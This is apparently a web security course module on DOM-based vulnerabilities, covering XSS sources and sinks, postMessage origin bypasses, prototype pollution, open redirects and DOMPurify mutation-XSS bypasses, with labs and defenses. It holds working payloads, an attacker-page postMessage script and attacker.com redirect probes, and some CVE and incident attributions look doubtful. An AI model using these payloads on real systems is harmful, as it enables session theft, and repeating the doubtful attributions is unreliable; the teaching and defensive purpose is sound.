Skip to content

DOM-based Vulnerabilities

DOM-based vulnerabilities are the class of attacks that execute entirely in the browser’s JavaScript runtime. The data flow is: source (something the attacker controls — location.hash, location.search, document.referrer, postMessage, localStorage) → sink (a function that uses the data in a dangerous way — innerHTML, document.write, eval, Function, setTimeout with string, location, open, fetch URL). When a source flows into a sink without sanitization, the attacker controls the side effect. The browser-side nature of these bugs is what makes them different from reflected/stored XSS (W3): they don’t appear in the HTML response — they fire from JS that runs on a static page. The DOMPurify mXSS family (CVE-2018-20483, CVE-2020-26970) and the postMessage origin-bypass family that powered the 2021 Cryptee and 2022 Polygon wallet hacks are canonical. Prototype pollution, the quietest of the class, produced CVE-2019-10744 (lodash) and CVE-2020-8203 (lodash).

A DOM XSS flow: an attacker-controllable source flows into a sink. The browser executes the result.

Sources (attacker-controlled, in the victim's browser):
location.hash # everything after # — not sent to server
location.search # everything after ?
location.href # full URL
document.referrer # previous page URL
document.location # alias of location
window.name # cross-tab persistent string
postMessage event.data # cross-origin message
localStorage / sessionStorage (if attacker can write)
IndexedDB (if attacker can write)
cookies (via JS)
Sinks (dangerous functions):
innerHTML / outerHTML # parse-and-render HTML
document.write / writeln # write to document
eval / Function / setTimeout(string) / setInterval(string)
location / location.href / location.assign / location.replace
open # window.open
fetch / XMLHttpRequest # URL sink (SSRF from browser)
innerText / textContent # mostly safe (no HTML parse)
insertAdjacentHTML # parse HTML at position
jQuery html() / append() / prepend()
React dangerouslySetInnerHTML
Angular bypassSecurityTrust*
Source-to-sink chain (DOM XSS):
page: https://target/app?#<img src=x onerror=alert(1)>
JS: const hash = location.hash.slice(1);
document.getElementById('x').innerHTML = hash; // ← SINK
Browser parses <img src=x onerror=alert(1)> → fires alert
postMessage chain (cross-origin):
page A (target.com): window.addEventListener('message', e => {
// missing or weak origin check
eval(e.data);
});
page B (attacker.com): const w = window.open('https://target.com/app');
w.postMessage('alert(document.cookie)', '*');
Prototype pollution chain (object literal pollution):
const obj = {};
JSON.parse('{"__proto__": {"polluted": true}}'); // ← Object.assign / merge
// After pollution: any object's .polluted === true
// If app reads `obj.someUndefinedConfig` for a path → attacker controls
Open redirect (sink: location):
page: https://target/redirect?url=https://attacker.com
JS: location = new URL(params.get('url'), window.origin);
// Missing: validate that the resulting URL origin is same-origin

The defining trait: the page’s HTML is static; the JS executes the payload. No server roundtrip is required.

  1. Find the sources — open the page, check what’s in location.hash, location.search, window.name, document.referrer. Check postMessage event listeners. Check localStorage writes from other tabs.
  2. Find the sinks — read the page’s JS. Look for innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, Function, setTimeout(string), setInterval(string), location, open, fetch with a variable URL, jQuery .html(), dangerouslySetInnerHTML, bypassSecurityTrust*.
  3. Trace the data flow — from a source to a sink. Use the browser’s dev tools: set breakpoints, watch the variables, watch the network requests. Use a static analyzer like semgrep or CodeQL for large codebases.
  4. Confirm the sink is reachable — test with a benign payload (#x → check that x appears in the DOM via the sink). Then escalate to an active payload.
  5. Bypass sanitization — if there’s a sanitizer (DOMPurify, sanitize-html), try mXSS payloads that confuse the parser. If there’s a regex, try parser-differential payloads.
TechniqueDescriptionDetection Difficulty
DOM XSS via location.hash#<xss> reflected into innerHTMLEasy if source is obvious
DOM XSS via location.searchQuery string reflected into innerHTMLEasy
DOM XSS via document.referrerReferer reflected into innerHTMLMedium — depends on Referer shape
DOM XSS via window.nameCross-tab window.name reflectedMedium — requires tab navigation
DOM XSS via jQuery .html()jQuery selector reflected in html()Easy
DOM XSS via jQuery $() selector$(location.hash) triggers HTML parserEasy — old jQuery
DOM XSS via postMessageCross-origin message → innerHTML or evalMedium — needs origin check
DOM XSS via SVG <use><use href="data:image/svg...">Hard — newer vector
mXSS (mutation XSS)DOMPurify bypass via parser confusion (CVE-2018-20483)Hard — requires deep parser understanding
Open redirectlocation = params.get('url') — no origin checkEasy
DOM-based SSRFfetch(params.get('url')) — server’s CORS check failsMedium
Prototype pollution (client)?__proto__[polluted]=1 → obj.polluted === trueHard — silent
Prototype pollution via postMessageCross-origin message contains __proto__Hard
DOM-based CSRF token leakfetch('/api/csrf') from attacker page → CORS leakMedium
postMessage origin bypassWeak origin check: e.origin.endsWith('target.com')Easy
LocalStorage XSS via innerHTMLStored JSON reflected without sanitizationMedium
postMessage + evale.data → eval()Easy
location.assign open redirectlocation.assign(params.get('next'))Easy
Terminal window
# Test for DOM XSS — look at the page's JS for location.* → innerHTML
# Then trigger with a payload in the URL
# Open in browser:
# https://target/app#<img src=x onerror=alert(document.cookie)>
# Find DOM XSS sources in the page's JS
curl -s https://target/app.js | grep -E 'location\.(hash|search|href)|document\.referrer|window\.name'
# Find sinks
curl -s https://target/app.js | grep -E 'innerHTML|outerHTML|document\.write|eval\(|Function\(|setTimeout\(|setInterval\('
# Trigger the DOM XSS via curl + a headless browser
# Use Chrome DevTools Protocol or Playwright
python3 -c "
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
b = p.chromium.launch()
page = b.new_page()
page.goto('https://target/app#<img src=x onerror=alert(1)>')
# Wait for the alert
page.on('dialog', lambda d: print('XSS:', d.message) or d.accept())
page.wait_for_timeout(2000)
b.close()
"
# postMessage probe — open the target, listen for messages
# In the browser console:
# window.addEventListener('message', e => console.log('from', e.origin, ':', e.data));
# Then send a message from another origin (your attacker page):
# const w = window.open('https://target/app');
# w.postMessage('test', '*');
# postMessage sink — if the page evals e.data:
# Attacker page:
# <script>
# const w = window.open('https://target/app');
# setTimeout(() => w.postMessage('alert(document.cookie)', '*'), 1000);
# </script>
# Bypass postMessage origin check that uses .endsWith or .includes
# if (e.origin.endsWith('target.com')) → send from https://attacker-target.com
# if (e.origin.includes('target.com')) → same bypass
# if (e.origin === 'https://target.com') → no bypass (secure)
# if (!e.origin.includes('evil')) → send from https://attacker.com
# Prototype pollution via URL params
# https://target/app?__proto__[polluted]=yes
# Check in browser console:
# ({}).polluted // 'yes' if polluted
# Or via JSON body in a fetch:
curl -X POST https://target/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# Then in a separate request:
curl -s https://target/api/profile -H "Cookie: ..." | jq .isAdmin
# If true, prototype pollution worked
# Open redirect — test if the URL goes to external origin
curl -sI "https://target/redirect?url=https://attacker.com" | grep -i location
curl -sI "https://target/redirect?url=//attacker.com" | grep -i location # protocol-relative
curl -sI "https://target/redirect?url=/\\attacker.com" | grep -i location # backslash
curl -sI "https://target/redirect?url=javascript:alert(1)" | grep -i location
# DOMPurify mXSS test payloads (CVE-2018-20483-class)
# Test in browser console after DOMPurify.sanitize(payload):
# <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
# <svg><p><style><g title="</style><img src=x onerror=alert(1)>">
# <math><mtext><script><img src=x onerror=alert(1)></script></mtext></math>
# Burp Suite DOM Invader — install from BApp Store
# Right-click page → DOM Invader → scan
# Identifies sources, sinks, and postMessage flows automatically
# nuclei — DOM XSS templates (mostly server-side reflected, but some DOM)
nuclei -u https://target -t ~/nuclei-templates/http/vulnerabilities/ -tags dom,xss,postmessage
# ZAP DOM Scan — uses a headless browser to find DOM XSS
# ZAP → Active Scan → enable DOM XSS plugin
# Headless Chrome passive scan — run all the page's JS and watch for sinks
python3 -c "
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
b = p.chromium.launch()
page = b.new_page()
sources = []
page.expose_binding('logSource', lambda s, src: sources.append(src))
page.add_init_script('''
const origIH = Element.prototype.innerHTML;
Object.defineProperty(Element.prototype, 'innerHTML', {
set(v) {
if (location.hash.includes(v) || location.search.includes(v)) {
window.logSource('innerHTML with ' + v);
}
origIH.set.call(this, v);
},
get() { return origIH.get.call(this); }
});
''')
page.goto('https://target/app#test')
print('Sources hit:', sources)
b.close()
"
# Check for source map files — they reveal the original JS, including comments
curl -s https://target/app.js.map | jq .sources
# Or:
curl -s https://target/app.js | tail -1
# Often ends with: //# sourceMappingURL=app.js.map

ModSecurity OWASP CRS — limited applicability because DOM XSS doesn’t traverse the server. The CRS catches reflected payloads in the request body but cannot see JS-side execution.

Suricata — no DOM XSS SIDs; can match known DOM XSS payloads in request URLs (#<img src=x onerror=alert etc.) [verify].

MITRE ATT&CK T1059.007 — JavaScript (DOM XSS execution). MITRE ATT&CK T1185 — Browser Session Hijacking (DOM XSS to cookie theft). MITRE ATT&CK T1059 — Command and Scripting Interpreter (postMessage → eval).

Wazuh rule 920/31100 — URL fragment containing <, >, script, onerror [verify]. Wazuh decoder for HTTP request — alert on __proto__, constructor, prototype in JSON body [verify].

Defender log signatures:

  • JS console errors with attacker payloads in the source — alert on location.hash containing script-like patterns.
  • CSP report-uri violations reporting DOM XSS attempts — report-to header from the browser.
  • Browser-side telemetry (if available — e.g., Application Performance Monitoring) showing innerHTML calls with payload strings.

location.hash-only payloads. The fragment after # is not sent to the server. A DOM XSS payload in # never appears in server logs, WAF rules, or cache key. The attacker distributes a link https://target/app#<xss> and the payload executes purely client-side. Defense: input validation in JS at the source (location.hash).

mXSS (mutation XSS). DOMPurify and similar sanitizers parse the input string into a DOM tree, sanitize, then re-serialize to text. The browser then re-parses the output — but in some cases, the re-parse produces different DOM because of context-dependent parsing rules (e.g., <math> context, <svg> context, table parsing quirks). The browser sees a different DOM than the sanitizer did, and the sanitized output becomes dangerous. CVE-2018-20483-class examples:

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

DOMPurify saw this as safe (the <img> was inside a comment); the browser parsed it as live HTML because of the <math> namespace transition.

Defense: keep DOMPurify up to date; never trust sanitized HTML to be safe in all contexts (use it in a specific known-safe context).

postMessage origin bypass. Common mistakes:

if (e.origin.endsWith('target.com')) // bypassed by attacker-target.com
if (e.origin.includes('target.com')) // bypassed by target.com.attacker.com
if (e.origin === 'https://target.com') // secure (exact match)
if (e.source === window.opener) // secure (bound to a specific window)

Defense: exact-string match on e.origin; bind to a specific source window via e.source === expectedWindow.

Prototype pollution via query string. Some URL parsers do deep merge of query params: ?a.b.c=1 becomes {a: {b: {c: 1}}}. If the parser doesn’t block __proto__ as a key, ?__proto__.polluted=true pollutes Object.prototype. After pollution, every plain object’s .polluted === true. If the app reads obj.someConfig for a default that doesn’t exist, the polluted value is used. CVE-2019-10744 in lodash defaultsDeep is the canonical example.

Defense: block __proto__, constructor, prototype as keys in any deep merge; use Object.create(null) for plain objects.

jQuery selector XSS. Old jQuery ($() with HTML strings) auto-parsed HTML. $(location.hash) with #<img src=x onerror=alert(1)> was an XSS in jQuery < 3.5. Defense: upgrade jQuery; never pass user-controlled strings to $().

localStorage→DOM XSS. If an app writes user-controllable data to localStorage and another page reads and renders it without sanitization, the payload persists. Same-origin scripts can write localStorage via XSS; the stored payload then affects all pages that read it. This is the DOM equivalent of stored XSS.

Defense: sanitize on read, not just write; treat localStorage values as untrusted.

window.name cross-tab payload. window.name persists across same-tab navigations (origin changes too). Attacker page sets window.name = '<xss>', navigates the tab to target/app. If the app reads window.name and renders it, XSS fires.

Defense: never read window.name into a sink; treat it as untrusted.

EvasionWhat it bypassesDefense
location.hash payloadsServer-side WAFInput validation in JS
mXSSDOMPurifyKeep DOMPurify updated; use known-safe context
postMessage origin endsWithNaive origin checkExact-string match + window source binding
Prototype pollutionObject literal defaultsBlock __proto__, constructor, prototype keys
jQuery $()Old jQuery HTML parseUpgrade jQuery; never pass user input to $()
window.nameOrigin isolationNever read window.name to a sink

⚠️ What caught me: A target had a strict CSP (script-src 'self') and DOMPurify on every user input. The page reflected location.hash into innerHTML after running it through DOMPurify. Direct XSS payloads were stripped. The bypass was an mXSS payload that DOMPurify considered safe but the browser parsed as live HTML after the math namespace transition. The payload: <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(document.cookie)>. DOMPurify saw the <img> inside a comment; the browser saw it as live HTML because <math><mtext> re-contextualized the <style> content. CSP didn’t help because the script ran inline (onerror is not blocked by script-src). Lesson: DOMPurify is only as good as the HTML parser backing it, and HTML parsing is context-dependent. Update DOMPurify frequently, and prefer textContent over innerHTML whenever the content doesn’t need HTML.

Container: PortSwigger Web Security Academy labs (free, browser-based) cover the full DOM XSS spectrum.

Terminal window
# PortSwigger labs:
# - "DOM XSS via location.hash"
# - "DOM XSS via web messages (postMessage)"
# - "DOM XSS via web messages and JSON.parse"
# - "DOM XSS via open redirect"
# - "DOM XSS via prototype pollution"
# - "DOM XSS via jQuery"
# - "DOM clobbering"
# - "PostMessage attacks"
# https://portswigger.net/web-security/dom-based
# Container alternative: OWASP Juice Shop has DOM XSS challenges
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Solve: "DOM XSS" challenge — find the sink, craft the URL

Objective: complete at least 3 PortSwigger DOM XSS labs including (1) location.hash → innerHTML, (2) postMessage with weak origin check, and (3) prototype pollution. Document the source, the sink, and the exact bypass.

Expected flag format: flag{dom_xss_or_postmessage_or_prototype_pollution}.

Detection that should fire: CSP report-uri will fire when the onerror handler runs. Browser-side telemetry (if available) will show the innerHTML call with a payload string. For prototype pollution, the application log may show an unexpected default value being read from an object — alert on reads of undefined properties returning values.

Conceptual: explain why DOM XSS is qualitatively different from reflected XSS. What can a server-side WAF see and not see?

Technical: walk through an mXSS attack against DOMPurify. Why does the parser-context transition (<math> → <style> → <img>) defeat a sanitizer that runs on the same DOM tree?

Scenario: a target’s page listens for postMessage and the origin check is if (e.origin.includes('target.com')) { eval(e.data) }. Describe the full attack chain, the exact origin that bypasses, and the fix.

Compare prototype pollution via URL params, via JSON body, and via postMessage. For each, give the specific deep-merge behavior that creates the pollution path, and the runtime check that prevents it.

What is window.name-based DOM XSS, and why is it more persistent than location.hash-based DOM XSS? What is the defense?

→ W3 (XSS) · W19 (Web Cache Poisoning) · W5 (SSRF)